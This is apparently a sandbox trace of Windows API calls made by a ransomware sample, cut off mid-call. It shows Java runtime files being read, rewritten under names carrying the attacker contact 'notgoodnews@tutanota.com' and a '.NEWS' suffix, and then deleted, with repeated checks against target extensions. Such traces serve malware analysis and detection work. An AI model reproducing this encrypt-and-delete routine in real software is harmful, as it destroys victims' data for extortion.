lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0165.789] lstrlenW (lpString=".jpg") returned 4 [0165.789] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.789] lstrcmpiW (lpString1=".ja", lpString2=".NEWS") returned -1 [0165.789] lstrlenW (lpString="psfont.properties.ja") returned 20 [0165.789] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.892] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=2796) returned 1 [0165.892] CloseHandle (hObject=0x518) returned 1 [0165.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0165.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.919] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.920] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.920] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.921] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0165.922] GetLastError () returned 0x0 [0165.922] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0xaec, lpOverlapped=0x0) returned 1 [0165.924] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xaf0, lpOverlapped=0x0) returned 1 [0165.925] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.925] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xfc, lpOverlapped=0x0) returned 1 [0165.925] SetEndOfFile (hFile=0x54c) returned 1 [0165.925] CloseHandle (hObject=0x54c) returned 1 [0165.925] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.926] SetEndOfFile (hFile=0x518) returned 1 [0165.928] CloseHandle (hObject=0x518) returned 1 [0165.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.929] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1 [0165.930] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0165.930] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0165.930] lstrlenW (lpString=".doc") returned 4 [0165.930] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0165.930] lstrlenW (lpString=".docx") returned 5 [0165.930] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0165.930] lstrlenW (lpString=".pdf") returned 4 [0165.930] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0165.930] lstrlenW (lpString=".xls") returned 4 [0165.930] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0165.930] lstrlenW (lpString=".xlsx") returned 5 [0165.930] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0165.930] lstrlenW (lpString=".ppt") returned 4 [0165.930] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0165.930] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0165.930] lstrlenW (lpString=".zip") returned 4 [0165.930] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0165.930] lstrlenW (lpString=".rar") returned 4 [0165.930] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0165.930] lstrlenW (lpString=".bz2") returned 4 [0165.930] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0165.930] lstrlenW (lpString=".7z") returned 3 [0165.930] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0165.930] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0165.930] lstrlenW (lpString=".dbf") returned 4 [0165.930] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0165.930] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0165.930] lstrlenW (lpString=".1cd") returned 4 [0165.930] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0165.930] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0165.930] lstrlenW (lpString=".jpg") returned 4 [0165.930] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0165.930] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0165.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0165.931] lstrlenW (lpString=".doc") returned 4 [0165.931] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0165.931] lstrlenW (lpString=".docx") returned 5 [0165.931] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0165.931] lstrlenW (lpString=".pdf") returned 4 [0165.931] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0165.931] lstrlenW (lpString=".xls") returned 4 [0165.931] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0165.931] lstrlenW (lpString=".xlsx") returned 5 [0165.931] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0165.931] lstrlenW (lpString=".ppt") returned 4 [0165.931] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0165.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0165.931] lstrlenW (lpString=".zip") returned 4 [0165.931] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0165.931] lstrlenW (lpString=".rar") returned 4 [0165.931] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0165.931] lstrlenW (lpString=".bz2") returned 4 [0165.931] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0165.931] lstrlenW (lpString=".7z") returned 3 [0165.931] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0165.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0165.931] lstrlenW (lpString=".dbf") returned 4 [0165.931] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0165.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0165.931] lstrlenW (lpString=".1cd") returned 4 [0165.931] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0165.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0165.931] lstrlenW (lpString=".jpg") returned 4 [0165.931] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0165.932] lstrcmpiW (lpString1=".policy", lpString2=".NEWS") returned 1 [0165.932] lstrlenW (lpString="java.policy") returned 11 [0165.932] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.933] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=2466) returned 1 [0165.933] CloseHandle (hObject=0x518) returned 1 [0165.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0165.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.934] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.934] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.934] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.934] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0165.935] GetLastError () returned 0x0 [0165.935] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x9a2, lpOverlapped=0x0) returned 1 [0165.936] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0165.937] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.938] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xea, lpOverlapped=0x0) returned 1 [0165.938] SetEndOfFile (hFile=0x54c) returned 1 [0165.938] CloseHandle (hObject=0x54c) returned 1 [0165.938] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.938] SetEndOfFile (hFile=0x518) returned 1 [0165.940] CloseHandle (hObject=0x518) returned 1 [0165.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.941] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1 [0165.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0165.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0165.942] lstrlenW (lpString=".doc") returned 4 [0165.942] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0165.942] lstrlenW (lpString=".docx") returned 5 [0165.942] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0165.942] lstrlenW (lpString=".pdf") returned 4 [0165.942] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0165.942] lstrlenW (lpString=".xls") returned 4 [0165.942] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0165.942] lstrlenW (lpString=".xlsx") returned 5 [0165.942] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0165.942] lstrlenW (lpString=".ppt") returned 4 [0165.942] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0165.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0165.942] lstrlenW (lpString=".zip") returned 4 [0165.942] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0165.942] lstrlenW (lpString=".rar") returned 4 [0165.942] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0165.942] lstrlenW (lpString=".bz2") returned 4 [0165.942] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0165.942] lstrlenW (lpString=".7z") returned 3 [0165.942] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0165.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0165.942] lstrlenW (lpString=".dbf") returned 4 [0165.942] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0165.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0165.942] lstrlenW (lpString=".1cd") returned 4 [0165.942] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0165.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0165.942] lstrlenW (lpString=".jpg") returned 4 [0165.942] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0165.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0165.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0165.943] lstrlenW (lpString=".doc") returned 4 [0165.943] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0165.943] lstrlenW (lpString=".docx") returned 5 [0165.943] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0165.943] lstrlenW (lpString=".pdf") returned 4 [0165.943] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0165.943] lstrlenW (lpString=".xls") returned 4 [0165.943] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0165.943] lstrlenW (lpString=".xlsx") returned 5 [0165.943] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0165.943] lstrlenW (lpString=".ppt") returned 4 [0165.943] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0165.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0165.943] lstrlenW (lpString=".zip") returned 4 [0165.943] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0165.943] lstrlenW (lpString=".rar") returned 4 [0165.943] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0165.943] lstrlenW (lpString=".bz2") returned 4 [0165.943] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0165.943] lstrlenW (lpString=".7z") returned 3 [0165.943] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0165.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0165.943] lstrlenW (lpString=".dbf") returned 4 [0165.943] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0165.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0165.943] lstrlenW (lpString=".1cd") returned 4 [0165.943] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0165.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0165.943] lstrlenW (lpString=".jpg") returned 4 [0165.943] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0165.944] lstrcmpiW (lpString1=".security", lpString2=".NEWS") returned 1 [0165.944] lstrlenW (lpString="java.security") returned 13 [0165.944] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.944] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=36524) returned 1 [0165.944] CloseHandle (hObject=0x518) returned 1 [0165.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0165.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.945] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.945] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.945] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.945] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0165.946] GetLastError () returned 0x0 [0165.946] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x8eac, lpOverlapped=0x0) returned 1 [0165.949] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x8eb0, lpOverlapped=0x0) returned 1 [0165.950] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.950] WriteFile (in: hFile=0x54c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xee, lpOverlapped=0x0) returned 1 [0165.950] SetEndOfFile (hFile=0x54c) returned 1 [0165.951] CloseHandle (hObject=0x54c) returned 1 [0165.951] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.951] SetEndOfFile (hFile=0x518) returned 1 [0165.954] CloseHandle (hObject=0x518) returned 1 [0165.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.955] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1 [0165.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0165.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0165.956] lstrlenW (lpString=".doc") returned 4 [0165.956] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0165.956] lstrlenW (lpString=".docx") returned 5 [0165.956] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0165.956] lstrlenW (lpString=".pdf") returned 4 [0165.956] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0165.956] lstrlenW (lpString=".xls") returned 4 [0165.956] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0165.956] lstrlenW (lpString=".xlsx") returned 5 [0165.956] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0165.956] lstrlenW (lpString=".ppt") returned 4 [0165.956] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0165.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0165.956] lstrlenW (lpString=".zip") returned 4 [0165.956] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0165.956] lstrlenW (lpString=".rar") returned 4 [0165.956] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0165.956] lstrlenW (lpString=".bz2") returned 4 [0165.956] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0165.956] lstrlenW (lpString=".7z") returned 3 [0165.956] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0165.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0165.956] lstrlenW (lpString=".dbf") returned 4 [0165.956] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0165.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0165.956] lstrlenW (lpString=".1cd") returned 4 [0165.956] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0165.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0165.956] lstrlenW (lpString=".jpg") returned 4 [0165.956] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0165.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0165.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0165.957] lstrlenW (lpString=".doc") returned 4 [0165.957] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0165.957] lstrlenW (lpString=".docx") returned 5 [0165.957] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0165.957] lstrlenW (lpString=".pdf") returned 4 [0165.957] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0165.957] lstrlenW (lpString=".xls") returned 4 [0165.957] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0165.957] lstrlenW (lpString=".xlsx") returned 5 [0165.957] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0165.957] lstrlenW (lpString=".ppt") returned 4 [0165.957] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0165.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0165.957] lstrlenW (lpString=".zip") returned 4 [0165.957] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0165.957] lstrlenW (lpString=".rar") returned 4 [0165.957] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0165.957] lstrlenW (lpString=".bz2") returned 4 [0165.957] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0165.957] lstrlenW (lpString=".7z") returned 3 [0165.957] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0165.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0165.957] lstrlenW (lpString=".dbf") returned 4 [0165.957] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0165.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0165.957] lstrlenW (lpString=".1cd") returned 4 [0165.957] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0165.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0165.957] lstrlenW (lpString=".jpg") returned 4 [0165.957] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0165.958] lstrcmpiW (lpString1=".policy", lpString2=".NEWS") returned 1 [0165.958] lstrlenW (lpString="javaws.policy") returned 13 [0165.958] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.958] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=98) returned 1 [0165.958] CloseHandle (hObject=0x518) returned 1 [0165.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0165.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.959] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.959] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, 